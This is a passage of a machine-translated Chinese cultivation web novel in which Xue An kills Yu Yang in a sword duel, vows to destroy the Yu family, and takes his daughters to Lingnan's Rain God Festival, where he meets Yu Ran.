    And these people often don''t have any magic weapon, and they can cross the heavens with a sword breath.


    Xue An has seen with his own eyes, a sword emperor cut a star in half with one sword!


    That is the real supreme sword repair!


    In comparison, Yu Yang is like a child holding a branch and shouting.


    Yu Yang''s complexion gradually turned pale, because he faintly felt that what Xue An said seemed to be reasonable.


    Xue An went on to say: "And now you rely on some strange skills and tricks to fight with me, this in itself has fallen into the inferior!"


    Yu Yang sneered, "It''s so lively, as if you really understand sword..."


    Xue An nodded, "I can''t talk about understanding, but in this world, no one should understand better than me!"


    Xue An is telling the truth. In addition to those well-known sword emperors, Xue An''s swordsmanship is also unique.


    "It''s a joke..." Yu Yang just thought of laughing.


    Xue An said faintly at this time: "Since you don''t believe it, then today, I will let you know what is the real kendo!"


    As he said, the Dragon Yin Sword that had fallen to the ground suddenly flew up, and then circled Xue An a few times, making a whisper like submission.


    Yu Yang looked dumbfounded.


    This Dragon Yin Sword was given by his father. I heard it was a famous sword from ancient times, but in Yu Yang''s eyes, it was just a sharper sword!


    Unexpectedly, he discovered that the Dragon Yin Sword still has such a spirituality today.


    Xue An lightly stroked the sword body of the Dragon Yin Sword at this time, smiled lightly and said: "These years, I have wronged you."


    Long Yin Sword issued a long roar, seeming to be extremely excited.


    Then Xue An held the sword in his hand, and a surge of sword aura rose into the sky.


    Yu Yang trembled all over, then looked at Xue An in disbelief.


    "How is it possible...how can you have such a strong sword energy?" Yu Yang exclaimed Xue Ansen smiled, "Nothing is impossible... just because you... are too weak!"


    Speaking, Xue An cut out with a sword.


    There is no word to describe this sword.


    It seems that time has stopped under this sword.


    Even the flowing Qingfeng River stopped for it.


    Yu Yang''s face was full of horror.


    Then everything was shattered, including the Qingfeng River behind and the hills at the foot, all under this sword, shattered!


    Yu Yang didn''t even struggle, so he was blown away by this supreme sword energy.


    But because the speed was too fast, he was not breathless at the time.


    "Good... good swordsmanship!"


    After speaking, Yu Yang disappeared with the wind.


    Everyone fell silent under the mountain.


    At the beginning, the Yu family issued the Shejian Talisman to cut Beijiang with the sword!


    And today, Xue An uses real kendo to tell the world, he! It is invincible!


    Tan Xiaoyu looked at the man standing with the sword, her eyes moistened.


    Hua Tingting and Hua Xingyu stood in the distance and watched. At the end, Hua Tingting lowered his head and burst into tears.


    Hua Xingyu sighed and patted his granddaughter on the shoulder.


    "Well, since then, no one in the world knows the king, Mr. Xue, it has turned into a dragon!"


    As for Xie Jingjing and others, they cried with joy.


    Only Wu Weidong and his fat wife looked at each other, and after seeing the panic in each other''s eyes, they turned around and wanted to slip.


    Two invisible sword auras can pass directly.


    The two stood there for a while, and then their heads fell directly as if they were dropped by the wind, blood rushed into the sky, and the dead body fell to the ground.

 Chapter 120： After 7 days, Jian cut the Yu family

    No one dared to speak.


    Xue An has used the supreme cultivation base to tell everyone that against him, there is only a dead end!


    But at this moment, Xue An didn''t move. Instead, he still stood in place, and the expression on his face became very strange.


    When everyone was in a state of uncertainty, they saw that the hill seemed to be overwhelmed. After making a creaking sound, it collapsed.


    Xue An stood in the air with a murderous expression on his face.


    "After seven days, I will kill Lingnan and I will kill Yu''s house with my sword!"


    This sentence made everyone startled, and then they all looked at Xue An with shocked faces.


    Is he joking?


    Still, he thought, what happened to the Yu family by killing one Yu Yang?


    You have to know that the sword immortal ancestor exists in the Yu family!


    Everyone was surprised and wondered why Xue An did this!


    But only Xue An knows what just happened.


    Oneself cut Yu Yang under the sword, and Yu Yang''s mutilated soul floated out.


    Xue An didn''t care at the time, and casually held the soul in his hand, preparing to extract some memories to have a look.


    Unexpectedly, when he retrieved this memory of Yu Yang''s life, he suddenly saw a vague image in the depths of Yu Yang''s memory.


    Although it is very vague, Xue An still recognizes who it is at a glance!


    An Yan!


    That is An Yan''s back!


    But how could she appear in Yu Yang''s memory?


    Xue An immediately began to frantically search Yu Yang''s memories, but helplessly, there were no clues in the remaining memories.


    But anyway, this has already given Xue An an extremely important clue.


    That is An Yan''s disappearance, which is probably related to the Yu family!


    Thinking of this, Xue An couldn''t help but kill himself.


    Then I said, seven days later, Jian Zhan Yu''s words came.


    And Qin Yu and others looked at each other at this moment, their faces were full of horror, because they didn''t know why Xue An was suddenly so angry!


    Everyone gradually dispersed, and Xue An walked down with a cold face.


    Qin Yu wanted to speak but stopped.


    Because Xue An��s look is terrible now.


    Even Qin Yu and others have never seen Xue An so angry.


    However, after Xue An took a deep breath, the murderous aura gradually dissipated, and then the whole person returned to calm.


    "Xue...Mr. Xue..." Qin Yu said tremblingly.


    Although she knows that Xue An is usually very mild-tempered, the murderous look on Xue An''s face just now is so scary that she still feels a little frightened.


    Xue An smiled slightly, "What''s the matter?"


    "Are you... all right!"


    "It''s alright!"


    "Then why did you kill the Yu family?" Qin Yu asked courageously.


    This is not an ordinary match, it is a declaration of war against a martial arts family!


    Qin Yu can even imagine how big storms will be caused when the news spreads.


    Xue An said lightly: "Without him, it''s not pleasing to the eye!"


    Qin Yu suddenly felt that this sentence was a bit familiar, as if he had heard it since.


    And at this time Lao Xie''s family rushed over.


    Xue Lan and Song Yi also came to Xue An.


    Xie Jingjing felt that she had a thousand words in her heart, but after seeing Xue An, she couldn''t say anything.


    Especially when Xue An smiled at her and said, "Jingjing is here too!"


    Xie Jingjing felt her nose sore, and she had the urge to cry.


    At this time, Song Yi asked solemnly: "Mr. Xue, although I don''t know why you suddenly declared war on the Yu family, you did it...it''s a bit reckless!"


    This is also the voice of many people.


    But Xue An smiled indifferently, "This...I have my own measures!"


    Song Yi wanted to say something, but after seeing the calm and determined expression on Xue An''s face, he stopped.


    At this time, Lao Xie patted his chest and said: "Xiao Anzi, thank you Uncle, I have never convinced anyone. You are the first! Not only did you defeat the arrogant boy, but you also dared to kill them directly. Based on this, Uncle Xie admires you as a man! Uncle Xie will go with you at that time. You must know that Uncle Xie, my kitchen knife is not for dry food!"


    As he said, Xie pulled the kitchen knife out again, his face full of arrogance.


    But before the old Xie finished his gesture, the fat aunt had already slapped him on the head.


    "Okay, just your details, so you can brag in front of Xiao Anzi? You can''t even beat me!"


    Lao Xie blushed after being beaten, and said embarrassingly: "I said Jingjing''s mother, in front of so many people, can''t you save me some face?"


    "Bah, do you still have face?" Fat aunt scolded.


    Xue An couldn''t help but laugh.


    I thank my uncle! I''m afraid of my wife, I can''t change it in my life!


    At this time, Qin Yu came over and said, "Mr. Xue, Grandpa and I have already prepared a dinner party. Let''s all join in! It''s a celebration for you!"


    Xue An nodded, "That''s good!"


    Just when everyone returned to Beijiang to prepare for the evening banquet.


    Xue Anjian cut Yu Yang on the banks of the Qingfeng River, and announced that the news of the sword coming to Lingnan in seven days'' time was like a bomb, blasting the entire martial arts world.


    Budo forum is completely crazy at this moment Numerous posts are constantly refreshing.


    "Gosh, Yu Jia is defeated! Lost to a previously unknown figure!"


    "Yes, this is the person who made the Yu family pass the Shejian Talisman for the first time in 40 years, but failed in the end!"


    "I said Mr. Xue won''t lose. You guys sprayed me back then, do you know how good it is now?"


    "But is he crazy? He wants to declare war with the Yu family!"


    "Yeah! I also think this Mr. Xue is crazy, or he is too arrogant, you know this is not alone, but against a top martial arts family like the Yu family!"


    "Tsk tsk! The martial arts world has been like a pool of stagnant water for decades, too calm. I didn''t expect this Xue An''s appearance to make everything exciting."


    "But I still feel that the hope of winning is extremely slim, because I have heard from my second uncle''s neighbor''s third aunt''s cousin that the Lingnan sword fairy seems to be about to leave the customs!"


    "Is it true what I said upstairs?"


    "The same question!"


    Numerous inquiries instantly drowned this one.


    After a long time, the dear man replied.


    "I just called again to confirm that my turning relative has been a servant in the Yu''s house for many years. He said that the Yu''s family is renovating the courtyard with great fanfare recently, and it seems to be preparing for a big happy event. !"


    "Hiss! It''s really lively this time! Forty years ago, this sword fairy stunned the world with a sword. I didn''t expect that this time I would meet a rising star again!"


    "But I still feel that this Xue An is looking for death! No matter how good he is, can he still pass the Lingnan Sword Immortal? And this time he killed Shechem and walked Yu Yang, and the Yu family would not let him go! "

 Chapter 121： Dad takes you to find mom!

    The ���� dinner was held in the headquarters building of Longtai Group.


    The Qin family didn''t invite too many people this time, but there were still many people who came uninvited.


    Without exception, they all wanted to flatter the Qin family.


    Now even a fool can see that the Qin family''s status is solid, and it has become the top giant in Beijiang and even the entire provincial capital.


    In addition, many people are rushing to Xue An.


    But Xue An only showed up at the beginning of the banquet, and never showed up afterwards.


    This can''t help but disappoint many people who are thinking about being close.


    At this moment, Xue An is standing on the balcony of Qin Yuan''s office, drinking silently.


    Tang Xuan''er looked at him worriedly.


    Tang Xuaner did not go to the battle today, but took care of Xue Xiang and Xue Nian at home.


    Fan Mengxue is busy with the next movie in the provincial capital, and she is the only one who accompanies Xue An.


    Tang Xuan''er didn''t worry too much. In her opinion, Xue An, who disappeared four years later, has changed too much.


    It seems that there is nothing hard to get him in the world.


    I didn''t expect that Xue An would actually have written a battle against the Yu family after winning the battle.


    This is something that shocks and puzzles many people.


    And after coming back, Xue An remained calm and silent.


    This kind of atmosphere made Tang Xuan''er''s heart tense.


    "Do you want to ask me why I have to deal with the Yu family?" Xue An said suddenly.


    Tang Xuan''er bowed her head and said nothing, because she knew that if Xue An wanted to say, then he would definitely say that if she didn''t want to say it, it would be nothing to ask.


    Xue An picked up the wine glass, drank the red wine in the glass, and said in a low tone, "Today, I saw a person''s shadow in Yu Yang''s soul!"


    Tang Xuan''er shocked all over and raised her head to look at Xue An.


    Xue An nodded, "Yes, it''s An Yan''s back. Although it is very vague, I can recognize it at a glance!"


    Speaking of this, Xue An''s tone was filled with sadness.


    "Her back is very lonely, she seems to be under tremendous pressure, and it makes me feel that she wants to kill someone!"


    Xue An said, there is no wind within a hundred meters, and the wine glass on the table is silently turned into powder.


    That is Xue An��s anger.


    Tang Xuan''er looked at Xue An with complicated eyes.


    "Are you... looking for her?"


    Xue An nodded firmly, "Of course I want to go, no matter who the other party is, I also want to find her!"


    Tang Xuan''er was silent, but looked at Xue An''s back quietly, her eyes stunned.


    "Dad Dad, why are you here?" Xue Xiang and Xue Nian rushed in excitedly.


    The two of them had a great time today.


    Because of Qin Yu''s urgent order, he bought a whole set of amusement park equipment, then vacated an entire floor of the building, and set up an exclusive amusement park for the two little girls.


    So they have been playing until now before they came to Xue An.


    Xue An looked back to normal, knelt down and picked up his two daughters, then smiled and said, "Dad is talking to your Aunt Xuan''er!"


    "Dad, are you here for a drink?" Xue Xiang asked with a grin.


    Xue An nodded, and then said: "In two days, my father will take you to find your mother, OK?"


    The two little girls were startled first, and then shouted in surprise: "Okay, okay! We are going to find our mother!"


    Xue wanted to say, a layer of mist rose up in his big eyes, and said aggrievedly: "Dad, mom doesn''t like us!"


    "How come! Mom likes you two the most."


    "Then why haven''t you come to us?"


    "That''s because my mother has been busy all the time. Now that I have time, my father will take you to find her!"


    "Oh, oh, oh!" Xue Xiang and Xue Nian cheered, and then turned to look at Tang Xuan''er.


    "Aunt Xuan''er, let''s go find mom together!"


    Tang Xuan''er swept the hair in her ears and smiled slightly, "No, auntie still has to go to work, I''ll be at home, waiting for you to come back!"


    "Hmm! Aunt Xuan''er, after mom comes back, you are our favorite Aunt Xuan''er too!" Xue Xiang and Xue Nian suddenly said.


    ''S words made Tang Xuan''er''s eyes gradually red, and then turned her head, not wanting to cry in front of the two little girls.


    In fact, when it comes to feelings, Tang Xuan''er has been taking care of the two little girls until she grows up. Only Tang Xuan''er knows the bitterness and exhaustion.


    And the two little girls are also the closest to her.


    even called her mother once.


    Later, Tang Xuan''er corrected her several times before she changed her name to Aunt Xuan''er.


    Xue An looked at Tang Xuan''er whose shoulders moved slightly, and his eyes gradually became gentle.


    He owes this girl too much, and he will repay it later.


    Lingnan Yujia!


    The news that Yu Yang was beheaded by Xue An''s sword came back.


    Yu Yang''s father, Yu Lang suddenly stood up, his expression becoming solemn.


    "You said he disconnected Qingfengjiang with a single sword?"


    "Yes! And the third son of Yu is also turned into powder under this sword. At the same time, he also said that after seven days... will kill the Lingnan, the sword will kill the Yu family!" the person said.


    "Okay, go down!" Yu Lang said in a deep voice with a cold glow in his eyes.


    After the people came back, Yu Lang''s expression didn''t show much grief.


    As a child of a martial arts family, it is not uncommon for things like death in a fight, just get back with revenge afterwards!


    But what shocked Yu Lang was Xue An''s last words that seemed to declare war.


    Seven days later, kill Lingnan and kill Yu''s family with sword!


    What a big tone!


    A sneer appeared at the corner of Yu Lang''s mouth.


    I really thought it would be possible to kill a descendant of the Yu family?


    You must know Yu Yang is just the most unbelievable one of Yu Lang''s sons!


    At this time, after learning the news, Yu Ran hurried over.


    As soon as he entered the door, Yu Ran shouted in grief, "Father! My third brother..."


    Yu Lang waved his hand, "Skills are not as good as others, and you can''t blame others if you die!"


    Then Yu Lang looked at Yu Ran with a petting look, "We will be the Rain God Festival in Lingnan in a few days, why didn''t you go out to play?"


    Yu Ran is still a little sad at this time. Although Yu Yang doesn''t like his father, he still loves himself.


    I didn''t expect that this seemingly safe time in Shechem would actually kill Yu Yang.


    "Go back to father, I just came back from outside!"


    "How about this year''s Rain God Festival?"


    "The grand occasion is unprecedented, and there are more tourists from all over the world than in previous years!" Yu Ran paused, and then said: "Father, I heard that this Xue An is coming to Lingnan after seven days?"


    Yu Lang sneered: "Just rely on him? If he dares to come, then Lingnan is his burial place!"


    Then Yu Lang said again: "Don''t run too far these few days, the ancestor may be leaving the customs in just a few days!"


    After a shock, he bowed his head and said yes, then slowly exited the room.


    was still filled with sadness, and heard the comments from people around him.


    "This time Yu Yang was killed, our Yu family hasn''t gone to find him yet. How dare this Xue An come to Lingnan? Do you want to die?"


    "Who said no, I still want to kill Yu''s family by sword? It''s so funny!"


    At the same time, the news spread throughout Lingnan.


    But without exception, no one believes it.


    For the indigenous people of Lingnan, the Yu family is the living **** who guards the local area!


    How could the gods lose?

 Chapter 122： First arrived in Lingnan

    Lingnan.


    is located at the southernmost tip of China.


    The customs and scenery are very different from Beijiang.


    Xue An got off the plane and found that there seemed to be some grand festivals here, and there was joy everywhere.


    Longtai Group also has an office here.


    So someone has been waiting outside the airport.


    After getting in the car, the manager smiled and said, "Mr. Xue, you are here right this time. These few days happen to be the most grand festival of the year in Lingnan, the Rain God Festival! It''s bustling!"


    Xue An nodded nonchalantly, but Xue Xiang and Xue Nian looked out the car window and exclaimed from time to time.


    "Dad, look, the tree outside is so tall!"


    Xue Nian''s saliva started to flow out, "Dad, what''s on the tree?"


    Xue An glanced at him and couldn''t help but smile, "That''s coconut on top!"


    "Can you eat it?"


    The manager who drove the car smiled and said at this time: "Little girl, of course this coconut can be eaten. Not only can you eat coconut meat, but coconut milk can also drink! But after three days, you will not eat it!"


    Xue Nian said unconvincedly: "I don''t believe it, there is nothing I can eat for three days and I don''t want to eat it!"


    Xue An laughed and messed up her daughter''s hair, "You, you are just a snack!"


    Seeing this scene, the Black King who came with him couldn''t help but laugh.


    Who would have thought that Mr. Xue, who had a strong cultivation base and smashed his hands, was actually a darling demon behind him?


    This time Qin Yu had to come with him, but Xue An refused.


    He wanted to single out Yu''s family, and following a large group of idlers would only distract his energy.


    In the end, Qin Yu had to agree, but still insisted on letting the black king follow.


    Xue An didn''t say anything.


    After all, although this black king is not very good at cultivation level, he is vigilant and very loyal.


    If you bring it, you can be a babysitter for your two daughters.


    If the black king knew Xue An��s thoughts, he would not know if he would burst into tears.


    Dignified Black King, the boxing champion of Beijiang at the time, was actually reduced to being a nanny for the little girl.


    At this time, the car slowly stopped in front of the office in Lingnan City.


    Although there is no particularly important business in Lingnan, for the Longtai Group, which is not bad for money, this office is still very atmospheric.


    A three-story building stands in the downtown area, but it does not appear to be overly noisy. It is surrounded by various trees, making it extremely quiet.


    In the evening, there were bursts of laughter and laughter from the street.


    "Mr. Xue, we are playing splashing water outside, do you want to see the excitement!" The manager named Ma Cheng asked very enthusiastically.


    Qin Yu called him directly, and it was clear on the phone that this Mr. Xue is the top VIP of Longtai Group, so you should not be negligent!


    Ma Cheng is of course frightened. After all, in his capacity, it was impossible to contact Qin Yu before.


    Now that Miss Qin''s family has ordered it herself, of course Ma Cheng did not dare to be negligent.


    "Okay, okay! Dad, let''s go out and play!" Xue Xiang and Xue Nian heard something funny, and their eyes lit up.


    "Okay!" Faced with her daughter''s begging, Xue An was responsive.


    After changing his clothes, the father and daughter walked in front, Hei Wang and Ma Cheng followed, and the group came to the street outside.


    I saw people splashing water with water guns and basins everywhere on the street.


    Before she could walk a few steps, a girl smiled and poured a basin of water over.


    Xue An turned sideways slightly and avoided, but the two little girls were splashed with water.


    But in this hot Lingnan, it seems even more cool.


    Water guns are sold by the roadside. Ma Cheng bought a few and gave them to two little girls.


    Now Xue Xiang and Xue Nian can be regarded as treasures, and they shoot when they see people.


    The smiles on the faces of the two little girls made many people feel much better when they saw it.


    Without knowing it, he walked to the most prosperous street in Lingnan.


    Ma Cheng introduced: "Mr. Xue, this is the bar and snack street in Lingnan! Every night here is the busiest in Lingnan!"


    Next to the road, there are all kinds of seafood stalls, and the aroma makes the two little girls unable to walk.


    Xue An smiled and chose a relatively clean booth to sit down.


    "What do you want to eat?" Xue An asked.


    "Hmm...this, this and this!" Xue Nian drooled and started ordering.


    Xue An finally put together the menu, "Follow this to get a copy!"


    Seafood began to come up like flowing water.


    After taking a few bites, the two little girls couldn''t eat anymore.


    After all, I��m used to the meals made by Xue An, and eating these ordinary meals is nothing at all.


    Looking at the disappointed eyes of the two little girls, Xue An sighed slightly, rolled his sleeves, stood up and said to the stall owner: "Get out of the way, let me bake!"


    "You? Can you do it?" The stall owner opened his eyes wide.


    Xue An smiled, "Try it and you''ll know it!"


    said, took the things and started to bake them.


    After a while, a strange fragrance floated out.


    This scent is different from the scent produced by ordinary barbecue spices, but the scent of the ingredients themselves, which makes people feel refreshing when they smell it.


    The ���� barbecue stall owner''s eyes gradually widened, because he found that Xue An��s barbecue technique was like running clouds and flowing water, which was dazzling.


    And the aroma also attracted many tourists to stop in front of this booth.


    "Gosh, what a handsome barbecue chef!"


    "I don''t know how it tastes, but it smells good!"


    At this time Xue An had cooked a part, and UU Reading handed it to himself.


    The big eyes of the two little girls were smiling, they picked up the skewers, and they couldn''t wait to start eating.


    Ma Dong and Hei Wang also picked up a bunch of skewers and tasted them, then their eyes widened.


    Mom! This barbecue is delicious too!


    "Go, go in and taste it!"


    More people gather.


    The ���� barbecue stall owner now has a very respectful tone.


    "Teacher, you see so many people are coming for your fragrance, you..."


    Xue An looked at it, and saw that many diners were looking at him with expectant eyes.


    Xue An smiled slightly, "Forget it, let me do you a favor!"


    "Hey, great, teacher, don''t worry, I have taken this meal, and if you come to travel, I will cover all the expenses!" The stall owner was overjoyed.


    Xue An��s grilling speed is extremely fast, and as soon as all the ingredients are passed through his hands, in a blink of an eye they become yellow and fragrant skewers.


    While waiting for these tourists to eat, they were all shocked.


    "Oh my God! I swear, I have never had such a delicious barbecue!"


    "Call now! I found treasure today!"


    The news began to spread.


    The night is getting darker, but there are long queues in front of this barbecue food stall, and many tourists are looking forward to it.


    And Yu Ran, who happened to pass by here, also noticed this scene, and couldn''t help but stop curiously.


    "Miss, what''s the matter?" Yu''s steward hurried forward.


    "What''s going on over there?"


    The steward asked, and then came back and said, "Miss, I just asked, this is a new barbecue chef, and it is said that the grilled food tastes great!"


    "Oh?" Yu Ran''s eyes lit up, "Try it!"

 Chapter 123： Get to know 1 time, my name is Yu Ran!

    Yu Ran is in a bad mood today.


    His third brother was killed, but his father asked everyone to stay still, and everything was important to the ancestor''s exit.


    The man who killed his third brother actually threatened to come to Lingnan in the past few days. It was really annoying!


    It is said that when a woman is in a bad mood, she wants to eat.


    Yu Ran is no exception.


    But she just had the mentality to give it a try, without much hope.


    But when she sat down and ate the first skewers baked by Xue An, her eyes gradually became round.


    Grilled skewers have a strong aroma, and after one bite, the aroma explodes in the mouth.


    her taste buds were caught off guard.


    Unconsciously, Yu Ran became addicted to eating.


    It''s not just her, the rest of the diners also follow the demons, eating non-stop.


    can be when Yu Ran eats happily.


    A group of bad-faced big guys walked to the barbecue stall.


    When he saw these people, the barbecue stall owner''s expression changed a lot, and then he hurried up to meet him.


    "Brother Bao, why do you have time to come over?"


    The leader is a middle-aged man with triangular eyes, naked to the upper body, and a fierce dragon tattooed on his chest.


    After hearing the barbecue stall owner''s words, the brother sneered a few times.


    "I heard that you hired a barbecue chef. He has a good craftsmanship and attracted so many people!"


    The owner of the barbecue stall had a bitter expression. Just when he was about to say something, the Bao brother led the people to Xue An.


    "Boy, which road is it on? I don''t know if I agree to set up a stall on this street?" Brother Bao said coldly.


    Xue An raised his head and narrowed his eyes slightly, "Are you talking to me?"


    "Oh, let me wipe it, don''t you talk to this lobster if you don''t talk to you?" Brother Bao gave a grin.


    Xue An raised his eyebrows, his eyes getting cold.


    But at this moment, Yu Ran put down the skewers, frowned, and said to the steward who was waiting next to him: "Go and see!"


    "Yes!"


    The manager raised his head and walked over. Before Brother Bao could react, he raised his hand and slapped loudly.


    This slap slapped Brother Bao. He just wanted to get angry, but when he took a closer look at the person who hit him, he couldn''t help shaking, then his face was pale as paper, and cold sweat was seen on his forehead.


    "General Manager, you... why are you here?" Brother Bao''s arrogance just disappeared, just like a third grandson, he nodded and said with his waist.


    "Miss is eating here, if you dare to cause trouble, be careful of your heads!" The manager said coldly.


    "Yes, yes, we **** it! Surprised Miss!"


    This precious brother was fighting with his teeth, obviously terrified.


    "Get out of here!" the steward shouted coldly.


    Brother Bao and the others, as if they were amnesty, turned around and ran, not even daring to look back.


    The storm subsided.


    Xue An turned his head and saw a beautiful young girl sitting at a table not far away. After seeing her gaze, the young girl smiled at herself and raised her glass.


    Xue An''s heart moved.


    And then the housekeeper came over again and said politely: "Master, our lady invites you to come."


    Xue An''s mouth showed a faint smile, and then strolled to the girl''s table.


    Yu Ran is also looking at Xue An at this moment.


    She didn''t pay too much attention at first, but when she took a closer look now, her eyes lit up.


    What a surviving and independent young son.


    has a delicate appearance and an elegant temperament. The most important thing is the eyes, which are as deep as a deep pool of eyes.


    After looking around for a moment, Yu Ran pointed to the chair in front of him.


    "Please sit down!"


    Xue An also did not refuse, and sat directly opposite Yu Ran.


    The two were silent for a moment, and then Yu Ran laughed first.


    "A person who thought he could cook such a delicious meal must be a potbellied cook. I didn''t expect to be such a handsome boy."


    Xue An smiled faintly, "You are not bad too, the guys just now seem to be afraid of you."


    Yu Ran happily felt that her gloomy mood suddenly improved a lot, and then solemnly stretched out her hand, "Get to know, my name is Yu Ran!"


    Xue An glanced at Yu Ran''s slender jade hand, and seemed to be thinking about something. After a while, he slowly stretched out his hand and held it lightly.


    "My name is Xue An!"


    Xue An?


    Yu Ran frowned, this name is not very good.


    happened to be the same surname as the nasty guy who killed his third brother and was looking for trouble in the Yu family a few days later.


    But there are too many people with the same surname in the world, so Yu Ran was only slightly startled, and then returned to normal.


    "Is Mr. Xue here to travel?" Yu Ran asked with interest.


    Xue An nodded, "Forget it, and plan to find a friend at the same time!"


    Yu Ran smiled and said, "Looking for a friend? Then you can talk and listen, as long as he is in Lingnan, then I can help."


    Xue An looked at Yu Ran, and then said lightly: "She''s An Yan! Do you know?"


    "An Yan?" Yu Ran frowned, then thought about it carefully.


    "No impression! Any photos?"


    Xue An took out the photo he took with him and handed it to Yu Ran.


    Of course he could see that this Yu Ran should also belong to the Yu family, so he wanted to ask in advance whether this An Yan was in the Yu family.


    can wait for Yu Ran to finish reading, shook his head firmly, "I haven''t seen it! She should not be in Lingnan!"


    "Are you sure?" Xue An frowned.


    "Of course it is!" Yu Ran was very confident, and then curiously asked: "Who is this friend of you?"


    "Oh...my wife!" Xue An took back the photo ~ www.novelhall.com ~ got up and planned to leave.


    Although this woman said she didn��t know, Xue An certainly wouldn��t let it go.


    Yu Yang��s memory cannot be faked. They must know An Yan��s whereabouts when they settle down.


    However, Xue An got up and left so swiftly, but Yu Ran was a little surprised.


    From childhood to adulthood, whoever sees himself has been very coaxed, especially those boys, after seeing themselves, they all want to show their best side.


    just to make a good impression in Yu Ran''s eyes.


    I didn''t expect this man to be so indifferent.


    I don��t even want to say more!


    I just saved you once, somehow!


    I can''t help but feel annoyed when I think of this.


    seems to have sensed the dissatisfaction of her own lady, the chief steward stepped forward and blocked Xue An''s way.


    Xue An stopped, a slight smile appeared at the corner of his mouth.


    "What? Do you want to stop me?"


    "The lady hasn''t finished speaking yet, you can''t leave!" The manager said coldly.


    At this moment, Xue Xiang and Xue Nian hopped over.


    "Dad Dad, we are full, let''s go back!"


    The childlike voice of the two little girls attracted the attention of many people.


    Yu Ran also noticed this scene, and his heart moved.


    He actually became a father?


    Xue An smiled, holding one hand in hand, and about to leave.


    The manager still wanted to stop, Xue An gave him a deep look.


    The big housekeeper felt that the man''s eyes seemed extremely cold. Although he only glanced at himself, he made himself frozen in place, unable to move anymore!

 Chapter 124： Rain God Outing

    "Get out!" Yu Ran''s voice came.


    The housekeeper was relieved and quickly stepped aside.


    Then Yu Ran walked over and looked at Xue An.


    "Hey, anyhow I just saved you once, didn''t you even say thank you?"


    Xue An raised his eyebrows, "Save me once?"


    "Yes! If it weren''t for me, would the rogues leave easily?"


    There was a playful smile on Xue An��s face, "Then you say...how should I thank you?"


    After being asked, I was taken aback.


    She stopped Xue An because she felt that Xue An was very mysterious, and his barbecue skills made Yu Ran amazing.


    As for how to thank...


    Yu Ran lowered his head and saw Xue Xiang and Xue Nian who looked like pink jade carvings, and they couldn''t help but shine.


    "What a pretty little girl, let''s do it. Tomorrow is the day when the rain **** will go out. Two flower fairies are missing. Let these two little girls be flower fairies."


    Xue An frowned.


    Flower Fairy? Rain God Outing?


    What it is?


    At this time, Ma Cheng, who was with him, explained quietly next to him: "Mr. Xue, tomorrow is the day when the Rain God Festival officially begins. Then, he will invite the statues from the Rain God Temple and march around the city. The most solemn festival of the year."


    "The flower fairy refers to all kinds of little gods who travel with the rain god. They are all dressed up by children. In Lingnan, the children who can do this are either rich or expensive. Because it is rumored that children can do this. Happy and longevity."


    Xue An nodded and didn''t speak.


    Yu Ran has squatted down and said with a smile: "What a beautiful sister, my sister will take you to play tomorrow, and she can wear a lot of beautiful clothes, okay?"


    Children are playful by nature, so after hearing Yu Ran''s words, the two little girls looked at Xue An with hopeful eyes.


    Xue An was startled slightly, then nodded helplessly.


    nothing.


    Anyway, there are three days left before the seven-day period, so I should play with my child.


    "Then I will say that, tomorrow Rain Temple, see or leave!" Yu Ran smiled happily.


    After Xue An leaves.


    The butler walked over with a solemn expression.


    "Miss, this person is by no means ordinary! Do you want to tell the Patriarch?"


    Yu Ran frowned, and said impatiently: "It''s nothing more than an ordinary person who has a good barbecue skill and knows a little bit of kung fu at most. Should I tell my father?"


    "But..."


    Yu Ran waved his hand, "Besides, he still has two daughters. Could it be that there is a killer assassin with their daughters on the mission? Don''t mention this."


    After a pause, he took a faint look at the manager, "Understood?"


    The manager was shocked, and then quickly lowered his head, "Understood!"


    In Yu''s family or even in Lingnan, no one dared to provoke this Miss Yu.


    Because Yu Lang, the head of the Yu family, has only her daughter, she naturally loves her as a jewel and she loves it.


    The chief steward knew this well, so he dared not speak honestly.


    At this time, I picked up the last skewers of Table Mountain and took a vicious bite.


    Hmph, since childhood, no one has dared to ignore me so much, you are the first!


    I have to let you know, Miss Yu is amazing!


    After Xue An returned to the residence.


    Ma Cheng said, "Mr. Xue, the woman today is probably from the Yu family!"


    Xue An nodded, "I can guess it."


    "Then you......"


    Xue An smiled faintly, "I''m going to deal with Jianxian Yu, not her, and it''s a seven-day period, now there are three days!"


    "Three days later, I went to visit to see how amazing this Yujia has been in Lingnan for decades!" Xue An said, a murderous look flashed in his eyes.


    The next day.


    The day when the Rain God Festival officially began.


    When Xue An brought his daughter to the front of the Yushen Temple, there was already a sea of ??people, and there were people who burned incense to worship.


    Xue An walked into the main hall and saw smoke filled with a statue of a woman''s face standing high, accepting the worship of the people.


    It is said that during the Song Dynasty, Lingnan had suffered a severe drought for three years, and life was devastated. It was this woman who resolutely sacrificed blood to the sky, and finally prayed for rain to save the people.


    Later, people spontaneously built a temple for her statue, and the incense continues to this day.


    But when Xue An raised his head, the whole hall suddenly shook slightly.


    Xue An smiled, nodded slightly at the statue, then turned and left.


    He knew that the worship of thousands of people over the past thousand years has given this rain **** spirituality.


    The rain **** was terrified as soon as he came.


    As soon as he came out, Yu Ran greeted him with a smile on his face.


    "I''m about to find you, now, little girls, you will wear such clothes in a while, do you look good?"


    Yu Ran holds two brand-new costumes in his hands, with superb workmanship.


    Xue Xiang and Xue Nian are very happy.


    "good looking!"


    "If you look good, then put it on! I''ll be out in a while!" Yu Ran said with a smile.


    She also loved these two little girls very much, and led them to a quiet room and changed their clothes.


    After walking out, many people looked stupid.


    looks like a real little fairy.


    Several goddesses also looked shocked at this moment, and then said excitedly: "They are really two beautiful little girls!"


    Yu Ran said to Xue An at this time: "How about lively! This is the most lively day in Lingnan."


    Xue An smiled slightly and said non-committal: "It''s okay!"


    Yu Ran gritted his teeth secretly, rushing to talk, and actually ignored him?


    "We''ll also go on the float and follow the idol to tour the city." Yu Ran said with some excitement.


    Although she will participate in the annual Rain God Festival.


    But this year she feels very happy.


    But just then, there was a surprise voice.


    "Sister Yu Ran? You are here too!"


    Following the voice, a man walked over quickly.


    As soon as he saw him, Yu Ran frowned, her face full of indifference, "Zhang Xiulun, how many times have I said that, don''t call me my sister!"


    Zhang Xiulun chuckled, "In terms of age and relationship, you are my sister! You know that our two families are family friends, eh! This is..."


    Zhang Xiulun noticed Xue An on the side, and the surprise in his eyes flashed by.


    Xue An hasn''t spoken yet, Yu Ran has already preemptively said: "This is my new friend!"


    Friend?


    Zhang Xiulun looked at Xue An''s eyes gradually gloomy.


    In Lingnan, the Yu family is the well-deserved boss, and beyond that, they belong to the Zhang family.


    Zhang Xiulun is the youngest son of the Zhang family, and Yu Ran is of the same age.


